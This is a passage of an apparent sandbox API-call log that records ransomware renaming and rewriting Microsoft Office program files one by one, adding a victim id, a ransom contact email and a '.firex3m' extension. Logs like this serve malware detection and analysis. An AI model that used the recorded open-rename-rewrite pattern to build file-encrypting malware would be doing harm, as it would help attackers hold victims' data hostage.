ftLastAccessTime.dwLowDateTime=0xd1b59cda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f1370b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVDllSurrogate32.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPVDL~2.FIR")) returned 0x6d5200 [0129.459] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0129.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0129.459] GetProcessHeap () returned 0x630000 [0129.459] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f63ae8 [0129.460] GetProcessHeap () returned 0x630000 [0129.460] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f6ef18 [0129.460] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.460] ReadFile (in: hFile=0x6dc, lpBuffer=0x6f63ae8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f63ae8*, lpNumberOfBytesRead=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0137.884] GetProcessHeap () returned 0x630000 [0137.884] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317a68 [0137.884] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.884] WriteFile (in: hFile=0x6dc, lpBuffer=0x6f6ef18*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f6ef18*, lpNumberOfBytesWritten=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0137.884] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.884] WriteFile (in: hFile=0x6dc, lpBuffer=0x6f7a317*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f7a317*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0137.886] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.886] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0137.886] CloseHandle (hObject=0x6dc) returned 1 [0137.891] GetProcessHeap () returned 0x630000 [0137.891] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f6ef18 | out: hHeap=0x630000) returned 1 [0137.891] GetProcessHeap () returned 0x630000 [0137.891] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f63ae8 | out: hHeap=0x630000) returned 1 [0137.891] GetProcessHeap () returned 0x630000 [0137.891] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317a68 | out: hHeap=0x630000) returned 1 [0137.891] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.891] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b59cda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b59cda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x18225c20, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x34afc, dwReserved0=0xab47496, dwReserved1=0x6f63ae0, cFileName="AppVDllSurrogate32.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPVDL~2.FIR")) returned 0x6d5480 [0137.891] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0137.892] Sleep (dwMilliseconds=0x1) [0137.893] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF", len=0x44 | out: pbstr=0x59bff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF") returned 1 [0137.893] GetProcessHeap () returned 0x630000 [0137.893] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71d5490, Size=0x12ac) returned 0x71d5490 [0137.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00737_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0137.896] CloseHandle (hObject=0x6dc) returned 1 [0137.896] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.896] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00737_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00737_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0137.898] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.898] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10149fbd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10149fbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10149fbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9e2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00737_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PE0073~1.FIR")) returned 0x6d4f00 [0137.898] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0137.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00737_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0137.898] GetProcessHeap () returned 0x630000 [0137.898] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9e41) returned 0x71f0118 [0137.899] GetProcessHeap () returned 0x630000 [0137.899] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9e41) returned 0x71f9f68 [0137.899] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.899] ReadFile (in: hFile=0x6dc, lpBuffer=0x71f0118, nNumberOfBytesToRead=0x9e20, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f0118*, lpNumberOfBytesRead=0x59bff0c*=0x9e20, lpOverlapped=0x0) returned 1 [0142.014] GetProcessHeap () returned 0x630000 [0142.014] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0142.015] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.015] WriteFile (in: hFile=0x6dc, lpBuffer=0x71f9f68*, nNumberOfBytesToWrite=0x9e20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f9f68*, lpNumberOfBytesWritten=0x59bff0c*=0x9e20, lpOverlapped=0x0) returned 1 [0142.015] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.015] WriteFile (in: hFile=0x6dc, lpBuffer=0x7203d87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7203d87*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0142.017] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.017] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0142.017] CloseHandle (hObject=0x6dc) returned 1 [0142.017] GetProcessHeap () returned 0x630000 [0142.017] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f9f68 | out: hHeap=0x630000) returned 1 [0142.278] GetProcessHeap () returned 0x630000 [0142.278] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f0118 | out: hHeap=0x630000) returned 1 [0142.280] GetProcessHeap () returned 0x630000 [0142.280] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0142.280] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.280] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10149fbd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10149fbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a97ca4d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9e50, dwReserved0=0xab47496, dwReserved1=0x71f0110, cFileName="PE00737_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PE0073~1.FIR")) returned 0x6d5280 [0142.280] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0142.280] Sleep (dwMilliseconds=0x1) [0142.285] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms", len=0x48 | out: pbstr=0x59bff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 1 [0142.285] GetProcessHeap () returned 0x630000 [0142.285] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1cbc) returned 0x7203db8 [0142.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0143.331] CloseHandle (hObject=0x694) returned 1 [0143.331] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0143.332] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.845] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.846] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5125e2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5125e2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe53ae71a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x307e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoVL_MAK-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MO65C1~1.FIR")) returned 0x6d52c0 [0143.846] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0143.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0143.846] GetProcessHeap () returned 0x630000 [0143.846] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3081) returned 0x7226228 [0143.846] GetProcessHeap () returned 0x630000 [0143.846] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3081) returned 0x72292b8 [0143.846] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.846] ReadFile (in: hFile=0x694, lpBuffer=0x7226228, nNumberOfBytesToRead=0x3060, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7226228*, lpNumberOfBytesRead=0x59bff0c*=0x3060, lpOverlapped=0x0) returned 1 [0144.476] GetProcessHeap () returned 0x630000 [0144.476] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176e58 [0144.477] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.477] WriteFile (in: hFile=0x694, lpBuffer=0x72292b8*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72292b8*, lpNumberOfBytesWritten=0x59bff0c*=0x3060, lpOverlapped=0x0) returned 1 [0145.611] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.611] WriteFile (in: hFile=0x694, lpBuffer=0x722c317*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x722c317*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.948] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.948] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.948] CloseHandle (hObject=0x694) returned 1 [0145.948] GetProcessHeap () returned 0x630000 [0145.948] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72292b8 | out: hHeap=0x630000) returned 1 [0145.949] GetProcessHeap () returned 0x630000 [0145.949] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7226228 | out: hHeap=0x630000) returned 1 [0145.949] GetProcessHeap () returned 0x630000 [0145.949] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176e58 | out: hHeap=0x630000) returned 1 [0145.949] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.949] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5125e2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5125e2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1cf1ccc0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x30a2, dwReserved0=0xab47496, dwReserved1=0x7226220, cFileName="MondoVL_MAK-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MO65C1~1.FIR")) returned 0x6d5280 [0145.949] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0145.950] Sleep (dwMilliseconds=0x1) [0146.025] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK", len=0x46 | out: pbstr=0x59bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK") returned 1 [0146.025] GetProcessHeap () returned 0x630000 [0146.025] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2730) returned 0x71f7c78 [0146.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0146.617] CloseHandle (hObject=0x710) returned 1 [0146.633] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.690] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.690] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.690] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bf5d95, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ONENOT~3.FIR")) returned 0x6d5000 [0146.691] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0146.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0146.691] GetProcessHeap () returned 0x630000 [0146.691] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a47d8 [0146.691] GetProcessHeap () returned 0x630000 [0146.691] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a5288 [0146.691] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.691] ReadFile (in: hFile=0x710, lpBuffer=0x6a47d8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a47d8*, lpNumberOfBytesRead=0x59bff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.692] GetProcessHeap () returned 0x630000 [0146.692] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.692] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.692] WriteFile (in: hFile=0x710, lpBuffer=0x6a5288*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5288*, lpNumberOfBytesWritten=0x59bff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.692] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.693] WriteFile (in: hFile=0x710, lpBuffer=0x6a52e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a52e7*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.693] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.693] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.693] CloseHandle (hObject=0x710) returned 1 [0146.693] GetProcessHeap () returned 0x630000 [0146.693] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5288 | out: hHeap=0x630000) returned 1 [0146.693] GetProcessHeap () returned 0x630000 [0146.693] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a47d8 | out: hHeap=0x630000) returned 1 [0146.693] GetProcessHeap () returned 0x630000 [0146.693] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.693] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.693] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d61d931, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x59bfd20, dwReserved1=0x6a47d8, cFileName="ONENOTE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ONENOT~3.FIR")) returned 0x6d4ec0 [0146.693] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0146.694] Sleep (dwMilliseconds=0x1) [0147.872] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS", len=0x41 | out: pbstr=0x59bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS") returned 1 [0147.872] GetProcessHeap () returned 0x630000 [0147.872] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26b4) returned 0x71f7c78 [0147.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0149.890] CloseHandle (hObject=0x688) returned 1 [0149.890] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.890] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 